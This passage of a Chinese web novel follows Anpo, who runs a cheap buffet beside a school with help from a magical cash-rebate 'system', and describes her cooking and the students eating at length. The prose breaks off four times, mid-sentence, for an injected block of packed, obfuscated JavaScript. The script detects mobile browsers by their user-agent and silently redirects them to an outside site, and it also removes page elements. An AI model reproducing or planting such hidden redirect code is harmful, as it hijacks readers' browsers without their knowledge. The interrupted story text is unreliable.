钱飒余回过味，提溜起他的校服领，把他拉到一边。自己则端起那份没来得及吃的饭，往里头划拉红烧肉。 “唉唉唉，咱仨什么关系，你这样多见外。”徐度嬉皮笑脸，转身从旁边拖把椅子坐下，主动将烤鸭往桌子上一放。“来，吃烤鸭。” 几道菜拼在一起，三个人倒真像一起吃饭的。 王肃和钱飒余对视一眼，不约而同把菜平分成三份。 徐度皱眉，捂住心口。“一定要这么绝？” “要。”两人异口同声。 抗争无效，徐度瞧了几眼碗里的菜，嘟嘟囔囔抱怨：“全是肥肉，我不喜欢。” “给我，我不挑。”钱飒余埋头吃得起劲。闻言，他嘴角顶着米粒，筷子光明正大戳走了一串红烧肉。 徐度眼睁睁看着菜瞬间少了一大半，剩下几坨红烧肉浅浅铺在碗底。 这下，他一句废话不敢说，赶紧把红烧肉倒进嘴里。 肥肉软烂，瘦肉趴趴的拉丝，没有想象中肥腻的口感。枣红色汁液浓稠，稳稳裹住肉块，深入内里。 肉香在炖煮中融入进酱汁，各类大料丰富了酱汁的口感，使其风味更上一层。细细咂吧，还能尝到点酒的香气。 最让徐度惊艳的是红烧肉顶上的肉皮。 色泽红亮，咬下去却□□弹弹，带了点肉皮的韧劲，像在牙关跳舞。 徐度享受眯起眼，浓郁的肉香罩住他，和泡在红烧肉锅里没区别。 他从没觉得肥肉会如此好吃，就是有点少。 徐度哀怨地看着钱飒余。 钱飒余忽然感觉头顶凉风嗖嗖。他不解抬头，然后恍然大悟。“哦，你不喜欢吃豆角，给我。” 罪恶的筷子从天而降，眼看又要划拨出去一大堆茄子豆角，徐度猛地埋头，包了一嘴的豆角。 “木有了。”口腔内部的空间被填满，徐度艰难含糊地说话。 嘴唇一动，茄子豆角的味道不可避免划过舌尖。徐度瞪大眼，惊到了。 豆角，脆的！！！ 齿间合上，豆角就像恶作剧的羊驼，挤一下吐口水。 茄子此刻也给了徐度很大的惊喜。 有些店技术不成熟，茄子外层松软，内里却没熟，有生茄子的味道。有些店茄子不生，但出锅即泡在油汤，闷热夏天好不容易来的胃口顿时消失。 徐度初初见到这道菜也以为茄子是后种做法。 现实狠狠扇他一耳光。 茄子软烂，里头吸的不是油，是辣椒和蒜的复合味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698789|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 辣椒够劲，炒过的蒜带了丝丝的甜味。微甜带辣和茄子融为一体，一口接一口，压根停不下来。 徐度鼻孔呼出热气，鸡皮疙瘩立起。 好爽！ 王肃从哪找来的神仙店，他也想找老板买罐蒜蓉辣酱了。 三个人风卷残云消灭完桌上的菜，独独剩了两碗汤和只烤鸭。 桌上暗流涌动，三人挺直腰背，视线梭巡，互相提防。 “没喝过，我先试试。” 王肃说话的同时，一碗汤已经到了怀里。钱飒余反应慢半拍，被徐度抢先。他长臂一伸，端起碗往嘴里灌。 咕咚咕咚~ 水位线逐渐下降，露出打包盒透明的壳。钱飒余焦急舔舔唇，紧紧盯住白色部分，吐出的话酸溜溜的。 “至于吗？一碗稀得像水的汤而已，估计喝起来也和水一样。” 米汤彻底见底，徐度擦了擦嘴边的汤渍，发出满足的喟叹。他嘿嘿一笑，“一看你就没喝过。” “丝滑，带点米浆的微甜，和我小时候在奶奶家喝到的一摸一样。” 王肃附和点点头。 粥水的清香、米浆的浓厚度。米汤流淌下去，辣味灼烧的喉管瞬间被抚平，胃部散发出暖融融的热意。 一碗下肚，这顿饭才算圆满，舒服得让人只想瘫在椅子上，不想起来。 “嗝嗝嗝——” 王肃接连打了几个嗝，他摸摸突出来的肚子，嫌弃把烤鸭往另一边推。“我吃饱了，你们吃。” 烤鸭出锅有段时间了，底下溢出一层油和表皮的调料混合成一团。厚重粘腻的气味一股股钻到鼻孔。 钱飒余顿时觉着有些反胃，他赶紧把烤鸭推到徐度面前。 “米汤就是水，你肯定没吃饱，吃点烤鸭填填肚子。” 套餐看起来分量大，三个人分下来没多少，徐度就吃了三成饱。 他不客气接过烤鸭，像平时一样先撕下腿，大口塞嘴里。 只一下，徐度愣住了。 浓厚的香料味和烤鸭的鸭臭味齐刷刷在口腔爆发开。嚼几下，肉丝灵巧卡进牙缝。以前没觉得有这么卡牙。 他咂吧咂吧嘴，不死心翻开烤鸭包装袋，找到店名的位置。 没错啊！ 徐度放弃了。鸭腿扔回袋子，抬臂勾住钱飒余脖子。“交出店名，配送费多少？” 钱飒余眉毛挤成一团，疯狂和王肃打眉眼官司。 说不说？让大胃王吃三元自助，老板会亏掉底裤吧！ 没事。老板搞个开业活动，后面会涨价。 两人还没得出个统一结果，徐度先不满了，他卡住钱飒余脖子紧了紧，嚷嚷：“喂，一个地址，有那么不舍得？又不是抢你俩饭碗。说吧，多少钱。哥承受得住。” 徐度盘算了自己的小金库，大不了半个月吃一次。 “操场隔壁新开的自助店，三块钱一个人。最近两天你不要去。”钱飒余老实交出地址。 老板，只能帮你到这了。 徐度松开手，立马把钱飒余的忠告丢开。 明天他要赶在他们之前，一次性吃个饱。 安珀不知道店里一下多了好几位忠实顾客，更不知道有人惦记她的……菜惦记了一整天。 她忙得很！ 5. 第 5 章 安珀早上六点赶到了镇上最大的菜市场。 人群熙熙攘攘，叫卖声、鸡鸭的咯咯嘎嘎汇成一团。安珀蛇形走位，插空挤到了菜市场拐角的一个摊位。 时间刚刚好，肉摊老板正好宰完一头猪吊起。安珀视力很好，清晰地看到猪还保留生前的意识，肌肉微微跳动。 这摊子她观察很久了，猪肉品质不错，宰一头卖一头，到了八点基本清空，想买都买不到。早点来凭手速，和其他餐饮店老板抢肉。 安珀拨开人群，“40斤猪板油，25斤猪软肋骨。” 老板习以为常，刀子唰唰几下，割下一大块猪板油，不多不少正好40斤。 颜色雪白，无杂质。 安珀速度扯开袋子装猪板油，那边老板已经将长条的猪软肋骨称好了。 “猪板油10，肋骨35，给1250，送你两块猪血，下次再来。” 安珀点开手机付款，顶端跳出一条1250的扣款信息。隔几秒，又一条信息弹出来。 [您尾号6753的储蓄卡9月2日6时25分收入人民币2500.00，活期余额221549.27元。（建设银行）] 点开信息往上滑。 收入600，是她买鸡翅和五花肉的返利。 再往上面走， 收入12000，是她装修店里的返利。 零零散散算下来，到今天正好花了一万，系统给她返了两万。 没错，安珀有一个花钱返利系统。 前些日子安栗出车祸伤了腿。医院里单子一张张拿，钱一沓沓交。三四天，安珀兼职攒的钱见了底，爹妈的赔偿款又没下来。 安栗的后续治疗成了问题。 安珀甚至考虑请个多对多的护工照顾安栗，自己边出去打工边等赔偿款。 出去打工的前一天，安珀忽然发现手机上多了个软件。 红彤彤的财神爷捧着个金元宝，咧嘴笑。 喜气洋洋，任凭她用尽各种办法都删不掉。 一气之下，安珀干脆点进去。 财神爷用他宝贵的手指着安珀，背后是金元宝组成的字，霸满全屏。 [花钱即赚钱，返利高达200%，下一个财神爷IT’SYOU！] 狗屎垃圾广告，谁家财神爷说英文。 安珀咔的摁掉手机，转身给安栗点份腊肠煲仔饭，她想很久了。 17块付出去，银行卡余额彻底归零。 下一秒，余额诈尸般蹦回了17. 安珀恍恍惚惚拎走煲仔饭，[财神爷IT’SYOU！]一直在脑子里转圈圈。 洗脑到最后，她只剩下一个想法——财神爷也有kpi，进军国际市场了。 从那天后，安珀又试验了无数次。无一例外，她的钱都回了卡里。 事情突然变得很简单，安栗可以接受全程治疗，她也可以边带安栗边开家快餐店赚钱。 这似乎是陪安栗康复的最优解！ 当然…… 前提是扔掉安栗的破电动轮椅。 “安栗，不准在店里飙车。” 安珀从菜市场回来，手上挂得满满当当，迎面冲来一颗小炮弹。临到跟前，电动轮椅“嘎吱”急速刹车，停在安珀脚尖5毫米的位置。 始作俑者浑然不觉，头顶上呆毛晃了晃，咧开舌头，露出一角酒窝。 【姐，上学去了。】 A4纸大小的本子怼到安珀眼前，又飞速收回去，生怕她看清上面的字。 与此同时，轮椅侧过身偏移点方向，安栗推动遥控，嗖地从3米高的斜坡冲下去，一溜烟留下个小黑点。 安珀心脏骤停，咬牙切齿道：“等着，过两天我就把前面的路修好。” 又一次骂骂咧咧进了后厨。 安珀哗哗把猪板油和猪软肋骨倒进洗菜池，洗掉浮灰。 清水表面泛起一层油花，猪肉软软的有弹性，健康度不错。 用流水冲了几遍后，猪软肋骨放到沥水篮里晾干，猪板油则哐地甩上案板，切成一个指节长的厚片。 刀重复前后拉锯的动作，密闭的后厨不停响起刀划过案板的唰唰声。不一会，安珀切完一大盆，冒尖堆在锅里。 开火，填满清水，加入一整块姜祛味。 橙色的火焰趴在锅底，上面水咕嘟咕嘟冒出大气泡，血水凝固的杂质漂浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698790|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在面上。 安珀调大火力，拿起漏勺从锅中央冒得最厉害的铲进去，捞出一大堆莹白微透的肉片。 重复三四次，猪板油被捞得干干净净，白花花堆在沥水篮，没沾上一点杂质。 另起锅，安珀先加了点铺满锅底的水，然后端起篮子抖动。 哗哗几下，焯过水的猪板油下冰雹似的蹦进锅里。 安珀抄起锅铲翻拌几下，锅底的清水变得浑浊，锅边扒起密集的小泡泡，上面隐隐有油花闪过。 几分钟大火力的蒸发后，锅里的水彻底消失，微黄透明的油脂析出来，发出噼里啪啦的爆炸声。 肉香渐渐从锅里飘出来，小分子四处逃逸，直至填满后厨的空间。 安珀深深吸了一口，醇厚的饱腹感，一秒唤醒她的味觉记忆。好似回到小时候的某个时刻，她踮起脚扒在灶台边，偷偷拈起一块黢黑的猪油渣丢进嘴里。 苦涩、丁点的油渣跟着牙齿的咀嚼散落在口腔的四面八方。 一点点肉味，不足以解馋。 但小女孩却眯起眼，幸福地唱起走调的歌。 滋啦滋啦—— 猪板油的水分慢慢榨干，透明微卷的肉片体积缩小，表面染上金黄色。锅里的油汇聚成一滩，不断堆满，占据锅的一半面积。 安珀单手把火调小，漏勺压在中间滤掉渣子。 烫手透黄的猪油刷啦啦倒进搪瓷盆，在里面轻轻打旋。 安珀一边舀一边压，十几分钟不到，猪油全部装进盆里。 此时肉片的体积至少又缩水了一半，四周油光泛滥，硬度提升不少，碰一下发出嚓嚓声。 安珀把火调到蓝蓝的微光，同时用锅铲压油渣。滋滋的响声不断出现，油渣喷出最后一股油，再也没法给更多了。 盛完猪油，猪油渣单独放。 安珀数了数，15罐猪油，够店里用上半个星期了。 搪瓷盘统一移到货架，安珀转眼盯上的了油渣。 金黄酥脆，油光包裹。 安珀拈了一个丢进嘴。 刚出锅的油渣烫得很，安珀表情扭曲，在原地蹦跶完一支舞，才敢咬下去。 咔嚓—— 6. 第 6 章 油渣轻易碎成两半，内里丰盈绵软，丝滑得像是吞了口慕斯。 单单的猪肉味有点单调，安珀挑出几块，在上面撒上些许白糖。透明的小颗粒裹满猪油渣，一口下去，颗粒在口腔嘎吱嘎吱爆开，微咸的脆皮在舌尖跳舞，跳着跳着和甜味搅合在一起，甜甜咸咸轮番登场。 安珀扇扇舌头，按捺住再吃一块的心思。 不能吃了，容易上火。 安珀将猪油渣分装在小碗里一个个码好，撒上一点点盐，红椒碎和豆豉，放进蒸笼和米饭一起蒸。 特意留出来的一海碗切成黄豆大小的碎，搁在保温台上。 这点时间，猪软肋骨的水沥得干干净净。 平底锅刷满油，软肋一骨碌倒进去，擦过锅底的表皮急剧收缩，滋滋的叫。 几分钟后，软肋产生漂亮的美拉德反应。安珀适时绕着锅边浇上一圈米酒。 刺啦—— 白烟呼呼往上冲，米酒迅速蒸发，空气中弥漫起酒的甜香。 慢慢的，酒香消失。安珀把软肋移到高压锅，一股脑加入生抽老抽耗油，几块冰糖和姜，一点点胡椒粉，最后扔进一个秘制卤料包。开水补满，上汽后煮一个半小时。 三个灶满了两个，最后一个灶安珀准备炒咸蛋黄南瓜。 南瓜和咸鸭蛋她提前放蒸笼蒸熟了。 不过咸鸭蛋还要做一点点处理。 安珀接上一大盆冷水，放点冰块进去。咸鸭蛋砸破壳也全部泡进去。 冰水渗进蛋壳的缝隙，安珀轻轻撬下，蛋壳就像削不断的苹果皮，剥出一大条沉在盆底。 咸鸭蛋对半掰，金黄趋近于红色的油蜿蜒流下来。安珀急忙用手肘推个碗过来接住。 都是精华，不能浪费！ 蛋白剥离开，留下坑坑洼洼的表面。 安珀炒咸蛋黄沙的时候会特意留些蛋白附在蛋黄上，增加颗粒感。 去壳、掰开，重复几次，盆里的咸鸭蛋见底。 咸鸭蛋放一边备用，蒸制好的贝贝南瓜存了点水，安珀小心倒掉，又在上面撒上满满的地瓜粉，颠起盆裹均匀。 金黄的油此时泛起小泡泡，时机正好，安珀一个个地把南瓜摆进去。 滋啦，音调由尖锐变急促。 上一秒围在锅边打酱油的小泡泡，屁颠屁颠跑过来围住南瓜。安珀下一个，它们堵一个。到最后，锅里铺满泡泡，仅能从一些缝隙中窥见南瓜金黄的身影。 炸东西的油声成了耳边的白噪音，南瓜的清甜香钻入鼻孔舒缓神经。安珀放松哼着《切蔬菜》，一个一个夹出来滤油。 过几秒，油温升高了点，她伸出手探探，热源不停涌入掌心，差不多了。 出锅不久的南瓜二进宫。这次，引起了油激烈的反扑。 滋滋擦啦，月牙状的南瓜更加金黄炫目，表皮深得像翡翠，浑身鼓起小泡泡。安珀的筷子戳过，几番听到清脆的咔嚓声，南瓜里面熟得不能再熟了。 连油带南瓜一起过滤，锅里留点底油，咸蛋黄齐刷刷倒进去。 安珀用铲子慢慢按压蛋黄，蛋黄碎成一滩糊糊。从边沿开始泛起密集的小泡，逐渐蔓延至中央。 咸蛋黄反沙了。 刷拉—— 炸过的南瓜丢进去，加点盐和糖。安珀把住锅边，手腕用力抡几圈，咸蛋黄瞬间包裹南瓜，点点蛋白点缀表面，几秒内就完成了出锅的动作。 蛋黄的咸香和南瓜甜甜的香气和成一团，霸气突破后厨，直奔学校操场。 操场还有在军训的同学，顶着睁不开眼的烈日，下意识舔舔留到嘴角的汗。 有点咸，咦？为什么会有南瓜的味道？ 香气蔓延一圈又一圈，不止他一个人尝到了南瓜味汗水。 军训队伍顿时骚乱起来。 “哎，闻到没？好香的味道！是南瓜。” “今天食堂做的南瓜好香，等会解散我要第一个冲进食堂。” 时值正午，同学们的能量耗尽，一个个心思浮动，恨不得原地解散，冲进食堂大干三碗饭。 “动一下，加10分钟。”教官威胁十足的话语在前方响起，同学们老实收敛小动作，一下又一下大口吸南瓜香，转移注意力。 新来的对食堂抱有幻想，像王肃这些老油条早已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698791|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对食堂产生任何期望。 香味传来的时候，他正跑1000米的最后一圈。 体育老师惯例让他们跑完解散。 “是不是那家店的？”徐度砰地冲上来，长臂伸出搂住王肃肩膀，挤眉弄眼。“好你个王肃，有好东西竟然藏得严严实实。要不是我鼻子好发现了……” 王肃凉凉地盯他一眼，徐度手像开启某种开关，自动放下。王肃理理校服，目不斜视往一个方向走。 “拽什么。”徐度嘀嘀咕咕。 钱飒余在后面休息会，越过徐度，大步跨向前，追上王肃。没一会，他停下来，嘻嘻哈哈道：“不跟上，吃不上饭我可不负责。” 徐度撇撇嘴，腿却很诚实跟了上去。 安家小食堂离操场很近，三个人几分钟不到就站到了栏杆边。 钱飒余正准备喊，一双手比他更快拍响了栏杆上的按钮。 女声机械喊“欢迎光临”。 “咦？什么时候多了这个？”钱飒余看着王肃收回去的手，问。 “昨天装的。来人店内店外同时播报，你们不用再费嗓子喊了。”安珀听到店里的提示音跑出来刚好回答他的疑惑。 钱飒余挠挠头，“老板，一份盒饭带走。” “一样。”王肃跟上。 徐度半晌没说话，视线越过安珀紧紧盯着她身后“三元自助”的招牌，不知在想什么。 钱飒余踹踹他鞋边，“快点，吃完饭我还要回去做套试卷。” 徐度回神，“三块的……自助？” “开业活动期间，两人同行1.5.”安珀如实回答。 “矫情什么！昨天数你吃得欢。”钱飒余不客气揭他老底。 “店长，先打包两份。”王肃不陪徐度浪费时间。 安珀颔首，前面的徐度忽然转过身，指着两人。“哇，有这么便宜的好东西不告诉我。你们明明知道我这半个月点外卖，生活费快没了。两个奸诈小人。” “老板，给三块能多吃点吗？我要在这吃。”徐度的愤怒来得快去得快。 在这吃？？？ 安珀懵了。 7. 第 7 章 左右看看，安珀后退一大步。“小心顶上的刺。” 想要从店里的正门进，得沿着学校的外围走上一圈，保守估计要17分钟。他们还要赶回去写试卷，常规路线显然不是最佳选择。 那么，只剩下…… 安珀视线默默移到围栏上，恰好此时徐度的目光飘过来。 “哈哈哈，老板我们是好学生，翻墙的事不干。”徐度手指某个方向，耳边的黑色耳钉在阳光下折射出亮光。 “老板，桌子塞进来。” 小店的侧面靠了张折叠桌。安珀想起来了，那是她从学校搬回来的家当，放在车库一直没收拾。后面车库要装修，安珀又把它挪外面来了。 眼睛真尖啊！ 安珀感叹拿块抹布把桌子擦擦，然后从围栏缝隙里塞进去。 徐度立马接过去，安珀又把住栏杆，走顶上送了三张塑料凳进去。 桌椅齐活，徐度环绕一圈，找到个大树阴凉的底下唰唰展开桌子，坐下。 “老板，你们这里的菜先给我上两份。” 安珀点点头，“你们呢？也上两份？” 两人还没回答，徐度标志性嘲笑先插进来。“老板，他们急着回去做题，吃两份浪费时间。” 王肃掀开眼皮，往阴凉地挪了两步，拉开椅子坐下。 “老板，在这吃，一份够了。”钱飒余顺理成章占据最后一个位置。 安珀了解完需求，赶紧跑回后厨。 其他菜出餐完毕，差一个猪软肋骨需要收汁，和现做现喝才没腥气的甜酒冲蛋。 炖了一个多小时的软肋终于揭开盖子。 卤料的香气扑面而来，褐色的汤汁在高压锅内流动。猪软肋早已被浓郁的汤汁同化，从里到外染上褐色，DuangDuang躺在锅底，隐约能瞧见上面丝丝肉的纹理。 安珀把锅里的软肋一分为二，大部分扔进锅里收汁，还有一小部分倒进砂锅，收汁的速度会快点。 橙色的火焰嗤嗤上窜，本就没冷的汤汁瞬时鼓动，咕嘟咕嘟在里翻个不停。 卤料浸泡的肉香越发浓郁，狭小的后厨挡不住它扩张的速度，不停向外蔓延。 还剩一个灶，安珀正好用来做甜酒冲蛋。 煮饭时留下的米汤舀几勺到小锅，火噗嗤噗嗤的，米汤没一会就开了。 细小泡泡从周边翻卷，激动上扑。 安珀单手磕三个鸡蛋，搅散倒进去。 鸡蛋花和桂花似的，金黄灿烂轻盈漂浮在水面。安珀舀上几勺米酒和蜂蜜放里面搅搅。 蜂蜜遇热很快融化了，锅里飘出股甜香和米酒的微酸，发酵的糯米在汤里浮浮沉沉。 两份菜同时收工，安珀把所有菜品分成两份和一大份，用托盘盛出去。 香气一步一步往外移，安珀也慢慢靠近三人折叠桌的位置。还差一个手臂的距离，三人终于受不了饭香的不停勾引，噌地站起身，从缝隙里接过餐盒。 “有一份脱糖米饭和猪油拌饭。剩下的是辣椒蒸油渣、果冻猪软肋骨、咸蛋黄焗南瓜以及甜酒冲蛋。需要米汤可以和我说，用餐愉快。” 他们餐盒装的是正常米饭和三个菜。猪油拌饭和甜酒冲蛋分开用其他餐盒装。明显的是，徐度的盒子要大上一圈。 安珀介绍完，三人迫不及待打开自己的餐盒。 王肃和钱飒余照常吃正常餐，徐度则直冲冲掀开了猪油拌饭的盖子。 酥脆的猪油渣碎碎铺盖在米饭顶，深褐色酱油自上而下浸润，深深浅浅，米饭呈现出不同层次的酱色。 中午的温度很高，猪油维持不了雪白凝固的状态，化成一滩滩亮光沾满每一粒米饭。 米饭油润反光，散发浓郁的脂香气。 徐度拿起配好的勺子，四面八方拌了拌。安珀准备的碗空间很足，徐度不用担心米粒突然从哪个角蹦出来。 30秒不到，猪油拌饭内里的调料混合均匀，每一粒米饭泛着酱色的油润，像打了点高光。 被压制的猪油香经过搅拌后爆发出来，长久盘旋在上空不散。 满满舀上一大勺，徐度一口塞进嘴里。 顺滑的油香、酱油的鲜咸、米饭的软硬适中，还有在耳边嘎吱嘎吱响的脆猪油渣。 徐度从来没有想过一碗简简单单的猪油拌饭，能吃出层次如此丰富的口感。 三块钱的自助，单单这一碗就值了。 他还要再来五碗！！！ 一口饭下去，徐度五官变柔和，表情幸福。钱飒余脑袋凑过来，好奇瞅他碗里。“吃的什么？” “猪油*饭”徐度推开他，含糊不清回了句，又埋头扒了几口饭到嘴里，嘴周涂满斑驳的酱色痕迹。 钱飒余被他的吃相勾得不行，放弃正常餐，转而打开猪油拌饭。 猪油香混合着米香强势卷过他的鼻子，钱飒余不受控制“咕咚”几声。 “王肃，这个好吃没有辣椒，先试试。”钱飒余激动地拍王肃肩膀。 王肃嗯了声，却端起另一碗尝了尝。 甜酒冲蛋放了会，结起一层厚厚的膜，表面已经不太烫。 丝滑的汤液从膜的缝隙逃出，甜中带酸的味道触及到舌尖，然后是顺滑轻盈的鸡蛋花。 途中有些许米粒窜进来，带点米香和酒香，让王肃根本分不清这些小颗粒的家在哪。 一口气喝了好几口，鸡蛋花结成的膜始终浮在面上。 王肃想了想，拿起筷子的一端从最宽的位置挑起，吊起扔进嘴里。 软糯微甜，稍稍有点嚼劲。 左嚼嚼、右嚼嚼，鸡蛋花成碎片后再喝一口甜酒冲蛋顺下去，身体瞬间轻松不少。 加了料的米汤和原味米汤完全是不一样的风格，真神奇！ 光喝汤吃不饱，午饭得来点主食。 王肃筷子在三个菜上空停留了会，最终伸向猪软肋骨。 褐色的猪软肋骨堆叠在小格子间，浓郁趋黑的酱汁裹住软肋，留下中间一点白。 王肃从边缘咬下一口，才发现居然是块排骨。 老板做出来的排骨和他平常吃到的压根不一样。 肉丝耷拉在他咬开的边缘，切面由许多丝丝堆叠而成。深色的卤汁浸润到排骨每一个角落，奇怪的是，中间骨头部分和卤汁仿佛形成了楚河汉界。 无论排骨外表被同化到哪一程度，骨头始终是透明的。 王肃戳了戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698792|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 q弹的触感从另一端传递过来，王肃忽然发现骨头和肉中间有个不小的空隙。 一戳、反方向使力挑，透明的小圆柱蹦出来。 王肃赶紧凑上去吸进嘴。 浓郁的卤香从透明柱表面散出来，咸香十足。好笑的是，透明柱的口感完全和筷子戳到的手感不同。 软软的、顺滑入口，和平常吃的果冻口感类似。 边上的肉质炖得软烂，只有一个形包在骨头上。 一抿肉脱骨，嚼透明柱，一气呵成，王肃吃起来根本不费牙齿。没多久，小格子里的猪软肋骨消灭完毕。 王肃对着剩下的两个菜泛了难。 蒸猪油渣有辣椒不适合他吃，咸蛋黄焗南瓜……他实在对做法接近甜品的菜提不起兴趣。 不知道菜没吃完，老板让不让加。 王肃视线来回看，找安珀的位置。 人没找到，钱飒余一个劲在边上拍他肩膀。 “哇，第一个想出咸蛋黄焗南瓜的人真是天才！甜咸怎么能同时出现在一种食物上。王肃，太适合你不能吃辣的毛病了。” 听得烦了，王肃勉为其难咬了一小口。 咔嚓—— 酥脆的外衣碎裂，粉粉的南瓜在口中融化，甜与咸出现得恰到好处，不会觉得腻。 这下，王肃摈弃了过往的经验，埋头苦吃。 狭小的折叠桌边，挤着三个胚大的高中生。桌上，头对头、不见一丝空隙；盘子里，筷子飞快划动，没有一点剩菜。 “老板，再给我上一份果冻猪软肋骨。” “咸蛋黄焗南瓜打满。” “猪油拌饭多加点油渣碎。” 此起彼伏的加菜声响起，安珀拿着餐盒店里、操场来回跑，一双腿能见到残影。 加到最后，安珀先受不了。 她拖出离门最近的一张桌子，贴近操场边缘阴凉处。保温台上的菜全部搬出来放桌上，连搁在台子上的油渣碎和酱油都没放过。 “想吃什么自己打。” 他们已经吃了很多，再加也加不了多少。虽然外头温度逼近38℃，这么点时间不至于变质。 安珀顺手把勺子搁到三个人的方向，菜旁边是一摞一次性盒。 王肃几人十分上道，开始享受真正意义上的自助，不停加菜。 安珀长松口气，踢了踢脚。 终于可以歇会了！ 和安珀预想的差不多，昨天来的两个人加了几次后就放下碗筷，反倒是新来的耳钉男，埋头不停地吞、吞、吞，地上堆的一次性盒和折叠桌齐平。 安珀瞳孔放大，特意换个靠近耳钉男的位置站，近距离观看吃播。 哇，真幸运，开业第二天碰上大胃王！ 还有谁，能有她安lucky的运气。 安珀粗略算了算，如果耳钉男明天继续来吃，她的菜钱返利能加一倍。 这是妥妥的财神爷啊！ 或许是安珀的目光过于热切，二人组忽然觉得有股电流从脊背爬过。 钱飒余一个激灵，踢了踢徐度的脚，压低声音道：“差不多行了，三块的餐你想吃回几倍，小心老板给你拉黑名单。 8. 第 8 章 徐度扒完最后一口饭，摸摸半饱的肚子，意犹未尽搁下筷子。 要克制点，钱飒余提醒得对。 此时，安珀和徐度的想法无限趋于一致——千万不能把这只羊放跑了。 “老板，明天中午见。”徐度把桌椅藏在旁边的灌木丛，王肃和钱飒余顺手捡起地上的一次性盒扔垃圾桶，然后一次性给安珀转了一个星期饭钱。 [支付宝到账18元。] [支付宝到账18元。] …… 接二连三的收款提示音响起，安珀手机在口袋嗡嗡震动，财神爷图标跳了跳，和垃圾广告一样自启动，霸占整个屏幕。她还没来得及看，远处一阵喧哗彻底打破操场偏僻一角的安静。 “解散——” 教官中气十足的声音通过扩音器传遍操场。整齐的方队猛地泄气，稀稀拉拉拖了一长条朝食堂的方向跑。 有几个显眼包，呜哇呜哇喊着口号，甩开膀子把所有人丢在后面。 “冲啊！甜甜的南瓜我来了。” “南瓜是我的，后面的通通刮盆底。” “哈哈哈，学长学姐纯粹是一群蠢蛋。啊！南瓜闻起来又鲜又甜，再难吃能难吃到哪去。” 安栗凭借电动轮椅的速度优势，完美跟在显眼包们的后面。临跑到一半的时候，安栗操纵操作杆，横穿绿油油的人群，再跑个两分钟，马上到…… 说时迟那时快，一双小胖手从侧面闪过来，把住轮椅后面的杆子，一拉。 电动轮椅小幅度腾空而起，一秒融入绿色大军。 “啊啊。”本子塞在屁股下面了，安栗双手疯狂比划，急得头上的呆毛飘来飘去。 “安栗，你在哪学的结印，挺好看。新出的仙侠剧？等会吃完饭教教我。” “刚刚真吓死我了，安栗。幸亏我手快力气大，一下子把你拉回来了。不然卷到人群里，吃饭要排到什么时候去？” “我猜你昨天也是被挤远了，没吃上饭。下次我推你走，保证你一顿不落。” 拉安栗回来是她的邻居，身高和体重全部是180，在一群升入初中的小萝卜头里傲视群雄。 安栗虽然不用军训，但有些融入集体的活动还是得参加。教官索性把她安排在180旁边，第一排的位置。既方便教官照顾，安栗又来去自如。 一切都很美好，除了180是个话痨。 “安栗，你闻到没？好香的油炸南瓜味。食堂终于拿出真本事了，不枉我努力练健美操考一中。” 哦，据180所说她本可以稳稳上家旁边的实验七中。无奈老一中的美食街太诱人了，于是她抱佛脚学了个健身操，终于擦线考上一中。 谁知道一中说变就变，一脚把全校师生踢到郊区来了。美食街没了，食堂比传闻中的还要闻风丧胆。 180边吃边哭，“早知道不努力了。” 电动轮椅急速碾过水墨石地面，发出沙沙声。 180以一夫当开，万夫莫开的气势推着安栗冲到打饭台。“阿姨，卤猪脚、肉沫茄子和炸南瓜。” “哪有什么炸南瓜。”阿姨嘟囔几句，动作熟练舀上几勺，抖抖。 金黄色的黏稠体滑入餐盘，浅浅铺满底部，180不满，戳戳安栗的肩膀。“阿姨，多给点。我同学摔断了腿，要多吃点猪蹄补补。” 安栗艰难对上她的脑回路，努力抬起脚给阿姨看。 阿姨不情不愿加了几块猪蹄。 餐盘终于有了满满当当的样子，180喜滋滋将饭扔到安栗怀里，推着轮椅到了个靠窗的座位。 “安栗，有你在，阿姨菜都能多打点，我昨天根本没吃饱。” “是煮南瓜？我闻错了？” 说着没吃饱的180率先把筷子伸向南瓜。 